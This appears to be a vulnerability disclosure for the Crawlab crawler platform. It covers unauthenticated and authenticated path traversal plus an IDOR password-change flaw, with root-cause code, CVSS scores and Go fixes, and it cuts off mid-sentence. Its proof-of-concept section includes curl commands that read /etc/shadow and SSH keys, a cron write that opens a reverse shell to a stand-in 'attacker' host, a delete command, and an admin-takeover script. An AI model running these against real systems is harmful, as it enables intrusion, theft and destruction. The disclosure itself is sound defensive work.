[Security] Critical Path Traversal - Unauthenticated Arbitrary File Read/Write/Delete (CVSS 9.8)
Crawlab Path Traversal Vulnerabilities — Unauthenticated & Authenticated Arbitrary File Access
| Field | Value |
|---|---|
| Product | Crawlab |
| Repository | https://github.com/crawlab-team/crawlab |
| Affected Version | develop branch (latest as of 2026-05-06) |
| Component | Sync file scan/download endpoints; Spider filesystem service |
| Language | Go (Gin framework) |
| Discoverer | icysun <东方思维> |
| Date | 2026-05-06 |
1. Overview
Crawlab, a distributed web crawler management platform, contains two path traversal vulnerabilities that allow attackers to read, write, and delete arbitrary files on the server filesystem.
Finding 1 (Critical): Two endpoints — /sync/:id/scan and /sync/:id/download — are registered in the AnonymousGroup router group with no authentication requirement. The path query parameter is passed directly to filepath.Join without any sanitization, enabling unauthenticated arbitrary file read and directory enumeration.
Finding 2 (High): The Spider filesystem service (FsServiceV2) exposes GetFile, Save, Delete, Copy, and Rename operations that all concatenate user-supplied path parameters via filepath.Join(svc.rootPath, path) without boundary checks. Any authenticated user can traverse outside the spider directory to read, overwrite, or delete any file accessible to the Crawlab process.
2. Root Cause Analysis
2.1 Finding 1: Unauthenticated Arbitrary File Read
The root cause is the combination of two design failures:
A. Missing authentication on sync endpoints
In controllers/router_v2.go:360-372, the sync endpoints are registered under AnonymousGroup, which does not apply AuthorizationMiddlewareV2():
RegisterActions(groups.AnonymousGroup, "/sync", []Action{
{
Method: http.MethodGet,
Path: "/:id/scan",
HandlerFunc: GetSyncScan,
},
{
Method: http.MethodGet,
Path: "/:id/download",
HandlerFunc: GetSyncDownload,
},
})B. No path validation in handler functions
In controllers/sync_v2.go:11-31, user-supplied path is directly concatenated with the workspace path:
func GetSyncScan(c *gin.Context) {
id := c.Param("id")
path := c.Query("path") // User input, no validation
workspacePath := viper.GetString("workspace")
dirPath := filepath.Join(workspacePath, id, path) // Path traversal!
files, err := utils.ScanDirectory(dirPath)
// ...
}
func GetSyncDownload(c *gin.Context) {
id := c.Param("id")
path := c.Query("path") // User input, no validation
workspacePath := viper.GetString("workspace")
filePath := filepath.Join(workspacePath, id, path) // Path traversal!
c.File(filePath)
}C. Go filepath.Join behavior
Go's filepath.Join internally calls filepath.Clean, which resolves .. path segments. This means:
filepath.Join("/root/crawlab_workspace", "anything", "../../../etc/passwd")
// resolves to: "/etc/passwd"The .. traversal escapes the intended workspace directory entirely.
2.2 Finding 2: Authenticated Arbitrary File Read/Write/Delete
A. Missing path boundary checks in FsServiceV2
In fs/service_v2.go, all file operations accept an unsanitized path parameter:
func (svc *ServiceV2) GetFile(path string) (data []byte, err error) {
return os.ReadFile(filepath.Join(svc.rootPath, path)) // No validation
}
func (svc *ServiceV2) Save(path string, data []byte) (err error) {
return os.WriteFile(filepath.Join(svc.rootPath, path), data, 0644) // No validation!
}
func (svc *ServiceV2) Delete(path string) (err error) {
fullPath := filepath.Join(svc.rootPath, path)
return os.RemoveAll(fullPath) // No validation!
}The rootPath is intended to scope operations to a specific spider's directory, but filepath.Join resolves .. segments, allowing traversal to any filesystem path accessible to the process.
3. Attack Chain
3.1 Unauthenticated Attack (Finding 1)
An attacker with network access to the Crawlab server can:
- Enumerate directories — Use
/sync/:id/scanwithpath=../../../<target_dir>to list directory contents. - Read arbitrary files — Use
/sync/:id/downloadwithpath=../../../<target_file>to download any file. - Chain with other vulnerabilities — Read configuration files (
.env, database credentials, API keys), SSH keys, cloud metadata, etc.
No authentication or user interaction is required.
3.2 Authenticated Attack (Finding 2)
A low-privileged authenticated user can escalate to full filesystem access:
- Read sensitive files —
/etc/shadow, database files, application secrets, TLS private keys. - Write arbitrary files — Plant cron jobs for persistence, modify application code for backdoors, overwrite SSH authorized_keys.
- Delete arbitrary files — Remove critical system files causing denial of service.
- Remote code execution — Combine write with cron/SSH key overwrite for full RCE.
The impact scope extends beyond the Crawlab application to the entire host system.
4. Proof of Concept
4.1 Unauthenticated File Read
# Directory enumeration — list /etc
curl -s "http://target:8080/sync/anything/scan?path=../../../etc" | python3 -m json.tool
# Read /etc/passwd
curl -s "http://target:8080/sync/anything/download?path=../../../etc/passwd"
# Read Crawlab configuration
curl -s "http://target:8080/sync/anything/download?path=../../../root/.crawlab.yaml"
# Read SSH private keys
curl -s "http://target:8080/sync/anything/download?path=../../../root/.ssh/id_rsa"4.2 Authenticated Arbitrary File Read/Write/Delete
# Read /etc/shadow (requires authentication)
curl -s -H "Authorization: Bearer <token>" \
"http://target:8080/spiders/test/files/get?path=../../../../etc/shadow"
# Write cron job for reverse shell persistence (requires --exploit confirmation)
curl -s -X POST -H "Authorization: Bearer <token>" \
-H "Content-Type: application/json" \
-d '{"path":"../../../../var/spool/cron/crontabs/root","data":"* * * * * /bin/bash -c '\''bash -i >& /dev/tcp/attacker/4444 0>&1'\''"}' \
"http://target:8080/spiders/test/files/save"
# Delete arbitrary file (requires --exploit confirmation)
curl -s -X DELETE -H "Authorization: Bearer <token>" \
-H "Content-Type: application/json" \
-d '{"path":"../../../../important_file"}' \
"http://target:8080/spiders/test/files"4.3 Automated PoC Script
A full Python PoC is provided at reports/poc_crawlab_path_traversal.py.
# Safe defaults: scan /etc and read /etc/passwd (no auth needed)
python3 poc_crawlab_path_traversal.py --target http://target:8080
# Read specific file
python3 poc_crawlab_path_traversal.py --target http://target:8080 --download /etc/shadow
# Authenticated read
python3 poc_crawlab_path_traversal.py --target http://target:8080 \
--auth "Bearer <token>" --auth-read /etc/shadow
# Authenticated write (requires --exploit flag)
python3 poc_crawlab_path_traversal.py --target http://target:8080 \
--auth "Bearer <token>" --exploit --auth-write /tmp/poc_test "hello"5. CVSS Scoring
Finding 1: Unauthenticated Arbitrary File Read
CVSS 3.1 Score: 9.1 — Critical
| Metric | Value | Rationale |
|---|---|---|
| Attack Vector | Network (N) | Exploitable over HTTP without authentication |
| Attack Complexity | Low (L) | Simple path traversal; no special conditions |
| Privileges Required | None (N) | No authentication required |
| User Interaction | None (N) | Fully automated, no victim action needed |
| Scope | Unchanged (U) | Vulnerability is in the web app component |
| Confidentiality | High (H) | Full read access to any file on the host |
| Integrity | None (N) | Read-only in this finding |
| Availability | None (N) | No direct impact |
Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Finding 2: Authenticated Arbitrary File Read/Write/Delete
CVSS 3.1 Score: 8.8 — High
| Metric | Value | Rationale |
|---|---|---|
| Attack Vector | Network (N) | Exploitable over HTTP with valid session |
| Attack Complexity | Low (L) | Simple path traversal |
| Privileges Required | Low (L) | Any authenticated user (default role) |
| User Interaction | None (N) | No victim action needed |
| Scope | Changed (C) | Impacts host filesystem beyond the application |
| Confidentiality | High (H) | Read any file accessible to the process |
| Integrity | High (H) | Write/overwrite any file |
| Availability | High (H) | Delete any file; potential full system compromise |
Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
6. Fix Recommendations
6.1 Immediate: Move sync endpoints to authenticated group
In controllers/router_v2.go, move the sync endpoints from AnonymousGroup to an authenticated group:
// BEFORE (vulnerable)
RegisterActions(groups.AnonymousGroup, "/sync", []Action{...})
// AFTER (fixed)
RegisterActions(groups.AuthGroup, "/sync", []Action{...})6.2 Implement path validation utility
Create a helper function that validates the resolved path stays within the allowed base directory:
// utils/path.go
package utils
import (
"errors"
"os"
"path/filepath"
"strings"
)
// ValidatePath ensures that `resolved` is a child of `base`.
// It resolves symlinks and rejects any path that escapes the base directory.
func ValidatePath(base, userPath string) (string, error) {
// Clean both paths to canonical form
cleanBase := filepath.Clean(base)
resolved := filepath.Clean(filepath.Join(base, userPath))
// Resolve symlinks to prevent symlink-based escapes
realBase, err := filepath.EvalSymlinks(cleanBase)
if err != nil {
return "", err
}
realResolved, err := filepath.EvalSymlinks(resolved)
if err != nil {
// File may not exist yet (for write operations)
realResolved = resolved
}
// Ensure the resolved path starts with the base path + separator
if !strings.HasPrefix(realResolved, realBase+string(os.PathSeparator)) &&
realResolved != realBase {
return "", errors.New("path traversal detected: resolved path escapes base directory")
}
return realResolved, nil
}6.3 Apply validation in all vulnerable handlers
controllers/sync_v2.go:
func GetSyncScan(c *gin.Context) {
id := c.Param("id")
path := c.Query("path")
workspacePath := viper.GetString("workspace")
basePath := filepath.Join(workspacePath, id)
// Validate: resolved path must stay within basePath
dirPath, err := utils.ValidatePath(basePath, path)
if err != nil {
c.JSON(http.StatusBadRequest, gin.H{"error": "invalid path"})
return
}
files, err := utils.ScanDirectory(dirPath)
// ...
}
func GetSyncDownload(c *gin.Context) {
id := c.Param("id")
path := c.Query("path")
workspacePath := viper.GetString("workspace")
basePath := filepath.Join(workspacePath, id)
filePath, err := utils.ValidatePath(basePath, path)
if err != nil {
c.JSON(http.StatusBadRequest, gin.H{"error": "invalid path"})
return
}
c.File(filePath)
}fs/service_v2.go:
Apply the same ValidatePath call in GetFile, Save, Delete, Copy, and Rename:
func (svc *ServiceV2) GetFile(path string) (data []byte, err error) {
resolved, err := utils.ValidatePath(svc.rootPath, path)
if err != nil {
return nil, err
}
return os.ReadFile(resolved)
}6.4 Additional hardening
- Run Crawlab as a dedicated, low-privileged user — never as root.
- Apply chroot or container isolation — limit filesystem access to only required directories.
- Rate-limit anonymous endpoints — even after fixing, consider whether any endpoint truly needs to be public.
- Add file extension/content-type allowlists — restrict downloadable files to expected types (e.g.,
.py,.json,.yaml).
7. Finding 3: IDOR — Arbitrary Password Change via User ID Parameter
7.1 Overview
The POST /users/:id/change-password endpoint allows any authenticated user to change the password of any other user in the system — including administrators — without verifying the current user's identity against the target user or requiring the target's current password. This is a classic IDOR (Insecure Direct Object Reference) vulnerability that enables privilege escalation from any low-privileged account to full administrative control.
An attacker who registers a normal user account (or compromises any existing account) can directly overwrite the admin password and assume full control of the Crawlab platform.
7.2 Root Cause Analysis
The vulnerability exists in controllers/user_v2.go lines 47–73, in the PostUserChangePassword function:
func PostUserChangePassword(c *gin.Context) {
id, err := primitive.ObjectIDFromHex(c.Param("id"))
if err != nil {
HandleErrorBadRequest(c, err)
return
}
var payload struct {
Password string `json:"password"`
}
if err := c.ShouldBindJSON(&payload); err != nil {
HandleErrorBadRequest(c, err)
return
}
u := GetUserFromContextV2(c) // Current logged-in user (attacker)
user, err := modelSvc.GetById(id) // Target user (from URL parameter — NO ownership check)
if err != nil {
HandleErrorNotFound(c, err)
return
}
user.SetUpdated(u.Id)
user.Password = utils.EncryptMd5(payload.Password) // Set new password — NO old password verification
if err := modelSvc.ReplaceById(user.Id, *user); err != nil {
HandleErrorInternalServerError(c, err)
return
}
c.JSON(http.StatusOK, gin.H{"ok": true})
}Two critical authorization failures:
No ownership check: The function retrieves the current user (
u) but never comparesu.Idwith the targetid. Any authenticated user can target any user ID.No old password verification: The payload only accepts a new
passwordfield. The existing password of the target account is never checked.
Contrast with the correct implementation in the same file (PutUserById):
func PutUserById(c *gin.Context) {
...
u := GetUserFromContextV2(c)
if u.Id != id {
HandleErrorForbidden(c, errors.New("only the user themselves can update their profile"))
return
}
...
}PutUserById correctly enforces u.Id == id, proving the developers intended self-only access for user modification operations. PostUserChangePassword simply omitted this check.
Route registration in controllers/router_v2.go:250–252 confirms the endpoint only requires authentication (no admin role check):
RegisterController(groups.AuthGroup, "/users", NewControllerV2[models2.UserV2]([]Action{
...
{
Method: http.MethodPost,
Path: "/:id/change-password",
HandlerFunc: PostUserChangePassword,
},
}...))Default credentials in constants/user.go:9–10 further amplify the risk:
DefaultAdminUsername = "admin"
DefaultAdminPassword = "admin"7.3 Attack Chain
7.3.1 Standalone Exploitation
- Register a low-privileged user (or use an existing account / compromised credentials).
- Enumerate the admin user ID — use any authenticated endpoint (e.g.,
GET /users) to retrieve the admin's MongoDB ObjectID. - Send the password change request targeting the admin user ID.
- Log in as admin with the new password to gain full platform control.
7.3.2 Combined Exploitation (Full System Compromise)
When combined with Findings 1 and 2, the attack chain enables complete system takeover:
- Information gathering — Use unauthenticated path traversal (
GET /sync/x/scan?path=../../../etc) to read configuration files and identify the environment. - Initial access — Log in with default
admin/admincredentials (or register a new user). - Privilege escalation — If using a low-privileged account, exploit the IDOR to overwrite the admin password.
- Arbitrary file write — Use the Spider filesystem service (Finding 2) to write to
~/.ssh/authorized_keysor a cron job. - Remote code execution — SSH or cron-based RCE on the host system.
7.4 Proof of Concept
# Step 1: Authenticate as a regular user (register if needed)
# Register
curl -s -X POST http://target:8080/api/v1/users/signup \
-H "Content-Type: application/json" \
-d '{"username":"attacker","password":"attacker123","email":"[email protected]"}'
# Login
TOKEN=$(curl -s -X POST http://target:8080/api/v1/users/login \
-H "Content-Type: application/json" \
-d '{"username":"attacker","password":"attacker123"}' | jq -r '.data.token')
# Step 2: Enumerate users to find admin's ObjectID
ADMIN_ID=$(curl -s http://target:8080/api/v1/users \
-H "Authorization: Bearer $TOKEN" | jq -r '.data.list[] | select(.username=="admin") | .id')
echo "Admin ID: $ADMIN_ID"
# Step 3: Change admin's password without knowing the current one
curl -s -X POST "http://target:8080/api/v1/users/${ADMIN_ID}/change-password" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"password":"pwned2026"}'
# Step 4: Log in as admin with the new password
ADMIN_TOKEN=$(curl -s -X POST http://target:8080/api/v1/users/login \
-H "Content-Type: application/json" \
-d '{"username":"admin","password":"pwned2026"}' | jq -r '.data.token')
echo "Admin token: $ADMIN_TOKEN"7.5 CVSS Scoring
CVSS 3.1 Score: 8.1 — High
| Metric | Value | Rationale |
|---|---|---|
| Attack Vector | Network (N) | Exploitable over HTTP with any authenticated session |
| Attack Complexity | Low (L) | Single API call; no special conditions |
| Privileges Required | Low (L) | Any authenticated user (including self-registered) |
| User Interaction | None (N) | Fully automated, no victim action needed |
| Scope | Unchanged (U) | Impact is within the application boundary |
| Confidentiality | High (H) | Full admin access exposes all data |
| Integrity | High (H) | Admin can modify any data, settings, or code |
| Availability | High (H) | Admin can disrupt services or delete resources |
Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CWE Classification:
- CWE-639: Authorization Bypass Through User-Controlled Key (IDOR)
- CWE-287: Improper Authentication (no old password verification)
- CWE-862: Missing Authorization
7.6 Fix Recommendations
7.6.1 Add ownership verification
Enforce that the authenticated user can only change their own password:
func PostUserChangePassword(c *gin.Context) {
id, err := primitive.ObjectIDFromHex(c.Param("id"))
if err != nil {
HandleErrorBadRequest(c, err)
return
}
u := GetUserFromContextV2(c)
// FIX 1: Verify the current user is the target user
if u.Id != id {
HandleErrorForbidden(c, errors.New("you can only change your own password"))
return
}
// ... rest of the function
}7.6.2 Require current password verification
Add the current password to the payload and verify it before allowing the change:
var payload struct {
Password string `json:"password"` // New password
OldPassword string `json:"old_password"` // Current password (required)
}
if err := c.ShouldBindJSON(&payload); err != nil {
HandleErrorBadRequest(c, err)
return
}
// FIX 2: Verify the old password matches
if utils.EncryptMd5(payload.OldPassword) != user.Password {
HandleErrorUnauthorized(c, errors.New("current password is incorrect"))
return
}7.6.3 Change default credentials
In constants/user.go, replace default credentials with random values generated on f
Source: crawlab-team/crawlab